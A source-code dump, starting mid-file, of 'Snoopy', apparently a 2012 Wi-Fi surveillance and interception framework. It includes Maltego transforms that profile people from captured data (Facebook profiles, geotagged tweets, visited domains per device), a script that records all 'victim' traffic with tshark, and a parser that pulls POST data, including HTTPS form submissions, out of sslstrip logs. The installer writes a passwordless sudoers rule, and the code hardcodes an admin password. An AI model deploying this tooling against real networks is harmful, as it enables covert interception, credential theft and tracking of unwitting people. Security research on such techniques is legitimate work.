| # Age="0" 39 | # if m.TransformSettings["Age"] is not None: 40 | # Age = m.TransformSettings["Age"] 41 | 42 | TRX = MaltegoTransform() 43 | 44 | Ent=TRX.addEntity("maltego.Person","doesnotmatter_its_computed") 45 | Ent.setWeight(99) 46 | Ent.addAdditionalFields("firstname","First Names","strict",m.AdditionalFields["lastname"]) 47 | Ent.addAdditionalFields("lastname","Surname","strict",m.AdditionalFields["firstname"]) 48 | #Ent.addAdditionalFields("Age","Age of Person","strict",Age) 49 | 50 | # if m.TransformSettings["ImageURL"] is not None: 51 | # Ent.setIconURL(m.TransformSettings["ImageURL"]) 52 | 53 | TRX.returnOutput() 54 | 55 | 56 | ## 57 | main() 58 | 59 | -------------------------------------------------------------------------------- /snoopy/server/bin/snarfer.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # glenn@sensepost.com 3 | # Snoopy // 2012 4 | # By using this code you agree to abide by the supplied LICENSE.txt 5 | 6 | # This script will listen for all traffic from victims (10.0.0.0/8 range) and write rotating pcaps to disk 7 | # Rsync will move any files which are no longer being written to to the xplico drop directory, which it will 8 | # routinely parse. Result can then be viewd in the xplico interface. 9 | # The fuser command seems to always output if a file is being written to. Can you not make it output to terminal? 10 | 11 | # TODO: Move pcaps to different folders based on differnet IPs, so each monitor device has its own list. It xplico, 12 | # this will involve creating a new 'sesion' for each device. 13 | 14 | 15 | mkdir -p /tmp/tmpsnoopy 16 | save_path=/tmp/tmpsnoopy/ 17 | to_path=/opt/xplico/pol_1/sol_1/new/ #xplico pcap dir for case 1 session 1 18 | iface=tap0 19 | t_pid=31337 #Random initial PID for tshark process 20 | 21 | if [ ! -d "$to_path" ]; then 22 | echo "[E] $to_path doesn't exist. Is xplico setup, with a case created?" 23 | exit 24 | fi 25 | 26 | function move_caps 27 | # Move pcap files that are not currently being written to. 28 | { 29 | echo -n "" > /tmp/include_list.txt 30 | for i in `find $save_path -type f` 31 | do 32 | op=`fuser $i` 33 | if [ "$op" == "" ] 34 | then 35 | c=`echo $i | sed 's/.*\///g'` 36 | echo $c >> /tmp/include_list.txt 37 | fi 38 | done 39 | rsync -rzt --remove-source-files --include-from=/tmp/include_list.txt --include="*/" --exclude \* $save_path $to_path 40 | } 41 | 42 | function ensure_sniffing 43 | # Check if tshark is running, if not, start 44 | { 45 | if ! ps p $t_pid | grep -v "TIME CMD" | grep -q $t_pid 46 | then 47 | echo [+] Staring tshark.. 48 | tshark -i $iface -b duration:10 -w $save_path/snoop.pcap src net 10.0.0.0/8 or dst net 10.0.0.0/8 & 49 | t_pid=$! 50 | sleep 10 51 | fi 52 | } 53 | 54 | control_c() 55 | # run if user hits control-c 56 | { 57 | echo -en "\n*** Ouch! Exiting ***\n" 58 | kill -9 $t_pid 59 | exit 60 | } 61 | trap control_c SIGINT 62 | 63 | ######################### 64 | # Main Loop # 65 | ######################### 66 | while true; 67 | do 68 | ensure_sniffing 69 | move_caps 70 | sleep 10 71 | done 72 | 73 | -------------------------------------------------------------------------------- /snoopy/server/bin/snoopy/src/snoopy/db/__init__.py: -------------------------------------------------------------------------------- 1 | """Database initialisation.""" 2 | 3 | import logging 4 | #log = logging.getLogger('snoopy.db') 5 | 6 | import traceback 7 | from sqlalchemy import create_engine 8 | from sqlalchemy.orm import scoped_session, sessionmaker 9 | 10 | from . import models 11 | from models import Base, Probe, Cookie, GpsMovement, Wigle, User 12 | 13 | engine = None 14 | Session = None 15 | 16 | 17 | class SessionCtx(object): 18 | """Context manager that creates a SQLAlchemy session.""" 19 | def __init__(self, sqla_session=None): 20 | if sqla_session is None: 21 | sqla_session = Session() 22 | self.session = sqla_session 23 | 24 | def __enter__(self): 25 | return self.session 26 | 27 | def __exit__(self, exctype, excvalue, traceb): 28 | """Call C{commit()} if not exception occurred, C{rollback()} and log 29 | otherwise.""" 30 | if exctype is None: 31 | # No exception was raised 32 | self.session.commit() 33 | return 34 | # *sigh*. we have an exception to handle :( 35 | self.session.rollback() 36 | del self.session 37 | straceb = '\n'.join(traceback.format_tb(traceb)) 38 | logging.error('Database error:\n%s\n%s' % (straceb, repr(excvalue))) 39 | 40 | 41 | def init(uri=None, **kwargs): 42 | global engine, Session 43 | 44 | if not uri: 45 | uri = 'mysql://snoopy:RANDOMPASSWORDGOESHERE@localhost/snoopy' 46 | 47 | if engine is not None: 48 | raise ValueError('DB engine already initialised!') 49 | 50 | engine = create_engine(uri, **kwargs) 51 | Session = scoped_session(sessionmaker(bind=engine)) 52 | models.Session = Session 53 | 54 | Base.metadata.bind = engine 55 | Base.metadata.create_all(engine) 56 | logging.info('create_all() complete') 57 | create_test_data() 58 | 59 | 60 | def create_test_data(): 61 | global Session 62 | 63 | with SessionCtx() as session: 64 | # if session.query(User).filter_by(name='admin').count() < 1: 65 | # session.add(User(name='admin', password='adminnimda', is_admin=True)) 66 | if session.query(User).filter_by(name='admin').count() < 1: 67 | session.add(User(name='admin', password='YABADABADOO', is_admin=True)) 68 | -------------------------------------------------------------------------------- /snoopy/server/bin/snoopy_server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # glenn@sensepost.com 3 | # Snoopy // 2012 4 | # By using this code you agree to abide by the supplied LICENSE.txt 5 | 6 | # Don't run directly, but via snoopy.sh 7 | # This Script starts various Snoopy components 8 | 9 | #ToDo: Incorporate all Snoopy components into a single snoopy.py file. 10 | 11 | import logging 12 | import prox_guid 13 | import pytail 14 | import facebook 15 | import ssid_to_loc 16 | 17 | import os 18 | import time 19 | import sys 20 | import signal 21 | from multiprocessing import Process 22 | 23 | snoopyBinPath=os.path.dirname(os.path.realpath(__file__)) 24 | 25 | sys.path.append("%s/snoopy/src/snoopy"%snoopyBinPath) 26 | from snoopy.web import main as webmain 27 | webmain.app.root_path = "%s/snoopy/src/snoopy/"%snoopyBinPath 28 | 29 | goFlag=True 30 | 31 | def signal_handler(signal, frame): 32 | global goFlag 33 | logging.debug('Caught SIGINT, ending.') 34 | goFlag=False 35 | signal.signal(signal.SIGINT, signal_handler) 36 | 37 | def main(snoopyDir): 38 | 39 | global goFlag 40 | while ( goFlag ): 41 | 42 | logging.basicConfig(filename="%s/logs/snoopy.log"%(snoopyDir),level=logging.INFO,format='%(asctime)s %(levelname)s %(filename)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S') 43 | logging.info("\n--------------------------------------------------------------") 44 | logging.info("Main Snoopy Process starting. Divert all power to the engines!") 45 | pool=[] 46 | pool.append( Process(target=prox_guid.main) ) 47 | pool.append( Process(target=facebook.main, args=('%s'%(snoopyDir),)) ) 48 | pool.append( Process(target=pytail.main, args=('%s/uploads/'%(snoopyDir),)) ) 49 | pool.append(Process(target=ssid_to_loc.main) ) 50 | pool.append(Process(target=webmain.start)) 51 | 52 | for p in pool: 53 | p.start() 54 | 55 | all_good=True 56 | while all_good and goFlag: 57 | for p in pool: 58 | if not p.is_alive(): 59 | all_good = False 60 | time.sleep(2) 61 | 62 | for p in pool: 63 | p.terminate() 64 | 65 | if( goFlag ): 66 | logging.warning("One of my processes died, I'll restart all") 67 | main(snoopyDir) 68 | 69 | logging.debug("Process ended") 70 | 71 | if __name__ == "__main__": 72 | snoopyDir=sys.argv[1] 73 | try: 74 | main(snoopyDir) 75 | except Exception, e: 76 | logging.error("Main Snoopy thread exception: %s" %str(e)) 77 | 78 | -------------------------------------------------------------------------------- /snoopy/server/transforms/fetchAllFacebook.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | # glenn@sensepost.com 4 | # Snoopy // 2012 5 | # By using this code you agree to abide by the supplied LICENSE.txt 6 | 7 | import sys 8 | import os 9 | from Maltego import * 10 | import stawk_db 11 | import logging 12 | import datetime 13 | 14 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S') 15 | 16 | sys.stderr = sys.stdout 17 | 18 | def main(): 19 | 20 | fb_view_url=None 21 | try: 22 | p=os.path.dirname(os.path.realpath(__file__)) 23 | f=open("%s/../setup/webroot_guid.txt"%p,"r") 24 | fb_view_url=f.readline().strip() + "/web_data/facebook/" 25 | except: 26 | logging.debug("Warning: Couldn't determind streetview webserver folder") 27 | 28 | 29 | 30 | print "Content-type: xml\n\n"; 31 | MaltegoXML_in = sys.stdin.read() 32 | if MaltegoXML_in <> '': 33 | m = MaltegoMsg(MaltegoXML_in) 34 | 35 | cursor=stawk_db.dbconnect() 36 | TRX = MaltegoTransform() 37 | 38 | 39 | try: 40 | 41 | cursor.execute("SELECT id,name,gender,locale,network,link,degree FROM facebook where degree=0") 42 | results=cursor.fetchall() 43 | 44 | for row in results: 45 | id,name,gender,locale,network,link,degree=row[0],row[1],row[2],row[3],row[4],row[5],row[6] 46 | NewEnt=TRX.addEntity("maltego.FacebookObject",name) 47 | NewEnt.addAdditionalFields("id","id","nostrict",id) 48 | NewEnt.addAdditionalFields("gender","gender","nostrict",gender) 49 | NewEnt.addAdditionalFields("locale","locale","nostrict",locale) 50 | NewEnt.addAdditionalFields("network","network","nostrict",network) 51 | NewEnt.addAdditionalFields("link","link","nostrict",link) 52 | NewEnt.addAdditionalFields("degree","degree","nostrict",degree) 53 | 54 | 55 | logging.debug("Facebook profile photo - %s/%s/profile.jpg" % (fb_view_url,id)) 56 | if( fb_view_url != None): 57 | NewEnt.addAdditionalFields("facebook_profile_photo","Profile","strict","%s/%s/profile.jpg"%(fb_view_url,id)) 58 | NewEnt.setIconURL("%s/%s/profile.jpg" % (fb_view_url,id)) 59 | 60 | 61 | except Exception, e: 62 | logging.debug("Exception:") 63 | logging.debug(e) 64 | 65 | 66 | TRX.returnOutput() 67 | 68 | main() 69 | 70 | -------------------------------------------------------------------------------- /snoopy/client/setup_n900.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # glenn@sensepost.com 3 | # Snoopy // 2012 4 | # By using this code you agree to abide by the supplied LICENSE.txt 5 | 6 | echo "+-----------------------------------------------------------------------+ 7 | + SensePost Information Security + 8 | + Snoopy Drone Installer + 9 | + http://www.sensepost.com/labs / research@sensepost.com + 10 | +-----------------------------------------------------------------------+ 11 | 12 | +-----------------------------------------------------------------------+ 13 | + This script should be run on a PwnPhone N900 installation. You'd need + 14 | + to manually install the PowerKernel if you don't want to use the + 15 | + PwnPhone. I'll install some additional packages now. + 16 | +-----------------------------------------------------------------------+ 17 | " 18 | 19 | #Get current path 20 | sd=$(cd $(dirname "$0"); pwd) 21 | 22 | #Make sure everything is +x 23 | for i in `find . -iname '*.py'`; do chmod +x $i; done 24 | for i in `find . -iname '*.sh'`; do chmod +x $i; done 25 | 26 | #Install stuff 27 | #apt-get update 28 | apt-get install -y tshark 29 | apt-get install -y python-location 30 | apt-get install -y sed-gnu 31 | apt-get install -y openssh 32 | apt-get install -y bash 33 | apt-get install -y rsync 34 | apt-get install -y netcat 35 | apt-get install -y macchanger 36 | 37 | #Copy the drivers from the PwnPhone setup, to ensure they match the PwnPhone 38 | # PowerKernel installation 39 | cp /home/user/MyDocs/pwnphone/drivers/*.ko $sd/configs/drivers/ 40 | 41 | echo "+-----------------------------------------------------------------------------+" 42 | echo "+ Copying Desktop icons +" 43 | echo "+-----------------------------------------------------------------------------+" 44 | # Desktop icons 45 | 46 | sed -i "s,^Exec=.*,Exec=osso-xterm -e \"sudo $sd/snoopy.sh\"," ./setup/snoopy.desktop 47 | cp ./setup/snoopy.desktop /usr/share/applications/hildon/ 48 | cp ./setup/snoopy.png /opt/usr/share/pixmaps/ 49 | 50 | #NB Don't manually update /etc/sudoers on N900 51 | echo "user ALL = NOPASSWD: $sd/snoopy.sh" > /etc/sudoers.d/snoopy.sudoers 52 | update-sudoers 53 | 54 | echo "+----------------------------------------------------------------------------+" 55 | echo "+ Done. You should have a new icon on your Desktop +" 56 | echo "+----------------------------------------------------------------------------+" 57 | -------------------------------------------------------------------------------- /snoopy/server/transforms/fetchTweetsByLocation.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | # glenn@sensepost.com 4 | # Snoopy // 2012 5 | # By using this code you agree to abide by the supplied LICENSE.txt 6 | 7 | from Maltego import * 8 | import logging 9 | import requests 10 | import json 11 | import stawk_db 12 | import re 13 | 14 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S') 15 | 16 | sys.stderr = sys.stdout 17 | 18 | def main(): 19 | 20 | print "Content-type: xml\n\n"; 21 | MaltegoXML_in = sys.stdin.read() 22 | if MaltegoXML_in <> '': 23 | m = MaltegoMsg(MaltegoXML_in) 24 | 25 | cursor=stawk_db.dbconnect() 26 | TRX = MaltegoTransform() 27 | 28 | try: 29 | logging.debug("Here we go") 30 | for item in m.TransformSettings.keys(): 31 | logging.debug("N:"+item+" V:"+m.TransformSettings[item]) 32 | 33 | # logging.debug(MaltegoXML_in) 34 | 35 | radius="5" #miles 36 | lat=m.AdditionalFields['lat'] 37 | lng=m.AdditionalFields['long'] 38 | if 'radius' in m.AdditionalFields: 39 | radius=m.AdditionalFields 40 | 41 | logging.debug("Tweep cords to search - %s,%s (%s miles)" %(lat,lng,radius)) 42 | 43 | r=requests.get("https://search.twitter.com/search.json?q=geocode:%s,%s,%smi"%(lat,lng,radius)) 44 | tw=json.loads(r.text) 45 | 46 | logging.debug("Tweep results - %d"%len(tw['results'])) 47 | for tweep in tw['results']: 48 | name=tweep['from_user_name'].encode('utf8','xmlcharrefreplace') 49 | username=tweep['from_user'].encode('utf8','xmlcharrefreplace') 50 | uid=tweep['from_user_id_str'].encode('utf8','xmlcharrefreplace') 51 | recent_tweet=tweep['text'].encode('utf8','xmlcharrefreplace') 52 | img=tweep['profile_image_url'].encode('utf8','xmlcharrefreplace') 53 | profile_page="http://twitter.com/%s"%username 54 | largephoto=re.sub('_normal','',img) 55 | 56 | 57 | NewEnt=TRX.addEntity("maltego.affiliation.Twitter", name) 58 | NewEnt.addAdditionalFields("uid","UID","strict",uid) 59 | NewEnt.addAdditionalFields("affiliation.profile-url","Profile URL","strict",profile_page) 60 | NewEnt.addAdditionalFields("twitter.screen-name","Screen Name","strict",username) 61 | NewEnt.addAdditionalFields("person.fullname","Real Name","strict",name) 62 | NewEnt.addAdditionalFields("photo","Photo","nostrict",largephoto) 63 | NewEnt.addAdditionalFields("tweet","Recent Tweet","nostrict",recent_tweet) 64 | NewEnt.setIconURL(img) 65 | 66 | except Exception, e: 67 | logging.debug("Exception:") 68 | logging.debug(e) 69 | 70 | 71 | TRX.returnOutput() 72 | 73 | main() 74 | 75 | -------------------------------------------------------------------------------- /snoopy/server/transforms/fetchDomains.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | # glenn@sensepost.com 4 | # Snoopy // 2012 5 | # By using this code you agree to abide by the supplied LICENSE.txt 6 | 7 | import sys 8 | import os 9 | from Maltego import * 10 | import stawk_db 11 | import logging 12 | import datetime 13 | from common import * 14 | 15 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S') 16 | 17 | sys.stderr = sys.stdout 18 | 19 | def main(): 20 | 21 | print "Content-type: xml\n\n"; 22 | MaltegoXML_in = sys.stdin.read() 23 | if MaltegoXML_in <> '': 24 | m = MaltegoMsg(MaltegoXML_in) 25 | 26 | cursor=stawk_db.dbconnect() 27 | TRX = MaltegoTransform() 28 | 29 | 30 | try: 31 | 32 | # logging.debug(m.AdditionalFields['end_time']) 33 | now=datetime.datetime.now() 34 | if 'start_time' in m.AdditionalFields and 'end_time' in m.AdditionalFields : 35 | start_time=m.AdditionalFields['start_time'] 36 | end_time=m.AdditionalFields['end_time'] 37 | else: 38 | start_time=now-datetime.timedelta(0,lookback) 39 | end_time=now+datetime.timedelta(1,0) 40 | 41 | logging.debug(start_time) 42 | logging.debug(end_time) 43 | 44 | if 'mac' in m.AdditionalFields: 45 | mac=m.AdditionalFields['mac'] 46 | else: 47 | mac="0" 48 | if 'drone' in m.AdditionalFields: 49 | drone=m.AdditionalFields['drone'] 50 | else: 51 | drone="0" 52 | 53 | logging.debug(mac) 54 | logging.debug(drone) 55 | 56 | cursor.execute("SELECT DISTINCT domain FROM snoopy_web_logs WHERE mac=%s", (mac)) 57 | #cursor.execute("SELECT DISTINCT domain FROM snoopy_web_logs WHERE mac=%s AND timestamp > %s AND timestamp <%s", (mac,start_time,end_time)) 58 | results=cursor.fetchall() 59 | 60 | 61 | for row in results: 62 | domain=row[0] 63 | if ( domain == "facebook.com" ): 64 | NewEnt=TRX.addEntity("maltego.FacebookObject",domain) 65 | 66 | else: 67 | NewEnt=TRX.addEntity("Domain", domain) 68 | 69 | NewEnt.addAdditionalFields("start_time", "start_time", "nostrict",start_time) 70 | NewEnt.addAdditionalFields("end_time","end_time", "nostrict",end_time) 71 | NewEnt.addAdditionalFields("mac","mac","strict",mac) 72 | NewEnt.addAdditionalFields("drone","drone","strict",drone) 73 | # NewEnt.addAdditionalFields("drone","drone","strict",drone) 74 | # NewEnt.addAdditionalFields("mac","mac","strict",mac) 75 | 76 | except Exception, e: 77 | logging.debug("Exception:") 78 | logging.debug(e) 79 | 80 | 81 | TRX.returnOutput() 82 | 83 | main() 84 | 85 | -------------------------------------------------------------------------------- /snoopy/server/bin/snoopy/src/snoopy/static/css/snoopy-main.css: -------------------------------------------------------------------------------- 1 | /* Base styles */ 2 | html { background-color: #e5e5e5; } 3 | body { 4 | font-family: sans-serif; 5 | color: #666; 6 | width: 960px; 7 | 8 | margin: 0 auto; 9 | } 10 | input, select { 11 | border: 1px solid #666; 12 | background-color: #fff; 13 | } 14 | 15 | a { 16 | color: #6c7994; 17 | text-decoration: none; 18 | } 19 | a:hover { text-decoration: underline; } 20 | a:before { content: '['; } 21 | a:after { content: ']'; } 22 | 23 | .clr { clear: both; } 24 | 25 | #doc { 26 | background: url("/static/images/background-gradient.png") repeat-y scroll 0 0 #FFFFFF; 27 | padding: 0 22px; 28 | } 29 | 30 | #topbar { 31 | background-color: #fff; 32 | color: #666; 33 | padding: 5px; 34 | border-bottom: 2px solid #abbce6; 35 | } 36 | #topbar > .sp-logo { 37 | float: left; 38 | } 39 | #topbar > div#title { 40 | display: table-cell; 41 | float: left; 42 | font-size: xx-large; 43 | height: 109px; 44 | margin: auto 50px; 45 | vertical-align: middle; 46 | } 47 | #topbar > div#title > a { 48 | margin: auto 0; 49 | vertical-align: middle; 50 | } 51 | #topbar > div#logout { 52 | height: 30px; 53 | float: right; 54 | vertical-align: middle; 55 | } 56 | 57 | #content { 58 | background-color: #fff; 59 | border-bottom: 2px solid #abbce6; 60 | } 61 | 62 | #leftbar { 63 | width: 170px; 64 | float: left; 65 | } 66 | #leftbar select { 67 | display: block; 68 | width: 100%; 69 | } 70 | #leftbar #client-list { 71 | font-family: monospace; 72 | } 73 | 74 | #clients-area { 75 | width: 722px; 76 | min-height: 500px; 77 | float: right; 78 | padding: 10px; 79 | } 80 | 81 | .client-window { 82 | background-color: #fff; 83 | border: 2px solid #abbce6; 84 | float: left; 85 | } 86 | .client-window > .cwin-titlebar { 87 | height: 20px; 88 | background-color: #cbd7f0; 89 | padding: 0 5px; 90 | } 91 | .client-window > .cwin-titlebar > .cwin-title { 92 | display: inline; 93 | font-weight: bold; 94 | } 95 | .client-window > .cwin-titlebar > .cwin-close, 96 | .client-window > .cwin-titlebar > .cwin-reload { 97 | float: right; 98 | } 99 | .client-window > .cwin-content { 100 | position: absolute; 101 | margin: auto; 102 | top: 20px; 103 | bottom: 0px; 104 | overflow: auto; 105 | width: 100%; 106 | } 107 | 108 | .data-section { 109 | border-top: 1px solid #abbce6; 110 | border-bottom: 1px solid #abbce6; 111 | } 112 | .data-section li { 113 | list-style: disc inside; 114 | margin-left: 10px; 115 | } 116 | .data-section > .section-title { 117 | font-style: italic; 118 | } 119 | -------------------------------------------------------------------------------- /snoopy/server/transforms/fetchUserAgents.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | 4 | import sys 5 | import os 6 | from Maltego import * 7 | import stawk_db 8 | import logging 9 | import datetime 10 | from common import * 11 | 12 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S') 13 | 14 | sys.stderr = sys.stdout 15 | 16 | def main(): 17 | 18 | print "Content-type: xml\n\n"; 19 | MaltegoXML_in = sys.stdin.read() 20 | if MaltegoXML_in <> '': 21 | #logging.debug(MaltegoXML_in) 22 | m = MaltegoMsg(MaltegoXML_in) 23 | 24 | cursor=stawk_db.dbconnect() 25 | TRX = MaltegoTransform() 26 | 27 | drone='%' 28 | now=datetime.datetime.now() 29 | if 'start_time' in m.AdditionalFields and 'end_time' in m.AdditionalFields : 30 | start_time=m.AdditionalFields['start_time'] 31 | end_time=m.AdditionalFields['end_time'] 32 | else: 33 | start_time=now+datetime.timedelta(seconds=-lookback) 34 | end_time=now+datetime.timedelta(seconds=lookback) 35 | 36 | # Maltego requires format e.g 2012-10-23 22:37:12.0 37 | now=now.strftime("%Y-%m-%d %H:%M:%S.0") 38 | start_time=start_time.strftime("%Y-%m-%d %H:%M:%S.0") 39 | end_time=end_time.strftime("%Y-%m-%d %H:%M:%S.0") 40 | 41 | 42 | if 'location' in m.AdditionalFields: 43 | location=m.AdditionalFields['location'] 44 | else: 45 | location="%" 46 | 47 | if 'properties.drone' in m.AdditionalFields: 48 | drone=m.AdditionalFields['properties.drone'] 49 | 50 | 51 | cursor.execute("SELECT ua, COUNT(*) FROM (SELECT ua, client_ip FROM squid_logs GROUP BY ua, client_ip) AS x GROUP BY ua") 52 | results=cursor.fetchall() 53 | 54 | for row in results: 55 | num=-1 56 | ua="fuck unicode" 57 | try: 58 | ua=row[0].encode('utf8','xmlcharrefreplace') 59 | num=row[1] 60 | except Exception,e: 61 | logging.debug(e) 62 | 63 | NewEnt=TRX.addEntity("snoopy.useragent", ua); 64 | NewEnt.addAdditionalFields("num","Number","strict",num) 65 | NewEnt.addAdditionalFields("useragent","useragent","strict",ua) 66 | NewEnt.setWeight(num) 67 | 68 | #NewEnt.addAdditionalFields("drone","drone","strict",drone) 69 | #NewEnt.addAdditionalFields("start_time", "start_time", "nostrict",start) 70 | #NewEnt.addAdditionalFields("end_time","end_time", "nostrict",end) 71 | #NewEnt.addAdditionalFields("location","location","strict",location) 72 | #NewEnt.addAdditionalFields("run_id","run_id","strict",run_id) 73 | 74 | 75 | TRX.returnOutput() 76 | try: 77 | main() 78 | except Exception, e: 79 | logging.debug(e) 80 | 81 | -------------------------------------------------------------------------------- /snoopy/server/bin/sslstripSnoopy/jstripper.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # ---------------------------------------------- 3 | # Junaid Loonat (junaid@sensepost.com) 4 | # JStripper - Parser for modified SSLStrip logs 5 | # ---------------------------------------------- 6 | # How to import a CSV into a MySQL database: 7 | # http://www.tech-recipes.com/rx/2345/import_csv_file_directly_into_mysql/ 8 | # ---------------------------------------------- 9 | 10 | import os 11 | import sys 12 | import time 13 | import base64 14 | import urllib 15 | import csv 16 | import re 17 | 18 | def usage(): 19 | print 'Usage: jstripper.py file' 20 | 21 | def processEntry(entry): 22 | print 'processEntry %s' % entry 23 | exportFile.writerow([ 24 | entry['timestamp'], 25 | entry['src_ip'], 26 | entry['domain'], 27 | entry['url'], 28 | entry['secure'], 29 | entry['post'] 30 | ]) 31 | 32 | if __name__ == '__main__': 33 | if len(sys.argv) != 2: 34 | usage() 35 | sys.exit() 36 | logFilePath = sys.argv[1] 37 | if not os.path.exists(logFilePath): 38 | print 'Specified log file does not exist: %s' % logFilePath 39 | elif not os.path.isfile(logFilePath): 40 | print 'Specified log file does not appear to be a file: %s' % logFilePath 41 | else: 42 | exportFilePath = '%s%s' % (logFilePath, '.export') 43 | print 'Export file will be: %s' % exportFilePath 44 | if os.path.exists(exportFilePath): 45 | print 'Removing existing export file: %s' % exportFilePath 46 | os.remove(exportFilePath) 47 | exportFile = csv.writer(open(exportFilePath, 'wb'), delimiter=',', quotechar='"', quoting=csv.QUOTE_ALL) 48 | exportFile.writerow(['timestamp', 'src_ip', 'domain', 'url', 'secure', 'post']) 49 | 50 | logFile = open(logFilePath, 'r') 51 | isEntry = False 52 | anEntry = {} 53 | for aLine in logFile: 54 | if aLine.startswith('2012-') and aLine.find(' Client:') > -1: 55 | if isEntry: 56 | processEntry(anEntry) 57 | isEntry = False 58 | 59 | if aLine.find(' POST Data (') > -1: 60 | isEntry = True 61 | anEntry = {} 62 | anEntry['timestamp'] = aLine[:aLine.find(',')] 63 | anEntry['secure'] = 0 64 | anEntry['post'] = '' 65 | if aLine.find('SECURE POST Data (') > -1: 66 | anEntry['secure'] = 1 67 | 68 | tStart = aLine.find(' POST Data (') + 12 69 | anEntry['domain'] = aLine[tStart:aLine.find(')', tStart)] 70 | 71 | tStart = aLine.find(' Client:') + 8 72 | anEntry['src_ip'] = aLine[tStart:aLine.find(' ', tStart)] 73 | 74 | tStart = aLine.find(' URL(') + 8 75 | anEntry['url'] = aLine[tStart:aLine.find(')URL', tStart)] 76 | 77 | elif isEntry: 78 | anEntry['post'] = '%s%s' % (anEntry['post'], urllib.unquote_plus(aLine.strip())) 79 | 80 | if isEntry: 81 | processEntry(anEntry) 82 | 83 | 84 | logFile.close() 85 | 86 | 87 | 88 | 89 | print 'done' 90 | -------------------------------------------------------------------------------- /snoopy/server/transforms/fetchAllDomains.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | # glenn@sensepost.com 4 | # Snoopy // 2012 5 | # By using this code you agree to abide by the supplied LICENSE.txt 6 | 7 | 8 | import sys 9 | import os 10 | from Maltego import * 11 | import stawk_db 12 | import logging 13 | import datetime 14 | from common import * 15 | 16 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S') 17 | 18 | sys.stderr = sys.stdout 19 | 20 | def main(): 21 | 22 | print "Content-type: xml\n\n"; 23 | MaltegoXML_in = sys.stdin.read() 24 | if MaltegoXML_in <> '': 25 | #logging.debug(MaltegoXML_in) 26 | m = MaltegoMsg(MaltegoXML_in) 27 | 28 | cursor=stawk_db.dbconnect() 29 | TRX = MaltegoTransform() 30 | 31 | drone='%' 32 | now=datetime.datetime.now() 33 | if 'start_time' in m.AdditionalFields and 'end_time' in m.AdditionalFields : 34 | start_time=m.AdditionalFields['start_time'] 35 | end_time=m.AdditionalFields['end_time'] 36 | else: 37 | start_time=now+datetime.timedelta(seconds=-lookback) 38 | end_time=now+datetime.timedelta(seconds=lookback) 39 | 40 | # Maltego requires format e.g 2012-10-23 22:37:12.0 41 | now=now.strftime("%Y-%m-%d %H:%M:%S.0") 42 | start_time=start_time.strftime("%Y-%m-%d %H:%M:%S.0") 43 | end_time=end_time.strftime("%Y-%m-%d %H:%M:%S.0") 44 | 45 | 46 | if 'location' in m.AdditionalFields: 47 | location=m.AdditionalFields['location'] 48 | else: 49 | location="%" 50 | 51 | if 'properties.drone' in m.AdditionalFields: 52 | drone=m.AdditionalFields['properties.drone'] 53 | 54 | 55 | cursor.execute("SELECT domain, COUNT(*) FROM (SELECT domain, client_ip FROM squid_logs GROUP BY domain, client_ip) AS x GROUP BY domain") 56 | results=cursor.fetchall() 57 | 58 | for row in results: 59 | num=-1 60 | domain="fuck unicode" 61 | try: 62 | domain=row[0].encode('utf8','xmlcharrefreplace') 63 | num=row[1] 64 | except Exception,e: 65 | logging.debug(e) 66 | 67 | NewEnt=TRX.addEntity("Domain", domain); 68 | NewEnt.addAdditionalFields("num","Number","strict",num) 69 | NewEnt.addAdditionalFields("domain","domain","strict",domain) 70 | NewEnt.setWeight(num) 71 | 72 | #NewEnt.addAdditionalFields("drone","drone","strict",drone) 73 | #NewEnt.addAdditionalFields("start_time", "start_time", "nostrict",start) 74 | #NewEnt.addAdditionalFields("end_time","end_time", "nostrict",end) 75 | #NewEnt.addAdditionalFields("location","location","strict",location) 76 | #NewEnt.addAdditionalFields("run_id","run_id","strict",run_id) 77 | 78 | 79 | TRX.returnOutput() 80 | try: 81 | main() 82 | except Exception, e: 83 | logging.debug(e) 84 | 85 | -------------------------------------------------------------------------------- /snoopy/server/transforms/fetchCountries.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | # glenn@sensepost.com 4 | # Snoopy // 2012 5 | # By using this code you agree to abide by the supplied LICENSE.txt 6 | 7 | import sys 8 | import os 9 | from Maltego import * 10 | import stawk_db 11 | import logging 12 | import datetime 13 | from common import * 14 | 15 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S') 16 | 17 | sys.stderr = sys.stdout 18 | 19 | def main(): 20 | 21 | print "Content-type: xml\n\n"; 22 | MaltegoXML_in = sys.stdin.read() 23 | if MaltegoXML_in <> '': 24 | #logging.debug(MaltegoXML_in) 25 | m = MaltegoMsg(MaltegoXML_in) 26 | 27 | cursor=stawk_db.dbconnect() 28 | TRX = MaltegoTransform() 29 | 30 | drone='%' 31 | now=datetime.datetime.now() 32 | if 'start_time' in m.AdditionalFields and 'end_time' in m.AdditionalFields : 33 | start_time=m.AdditionalFields['start_time'] 34 | end_time=m.AdditionalFields['end_time'] 35 | else: 36 | 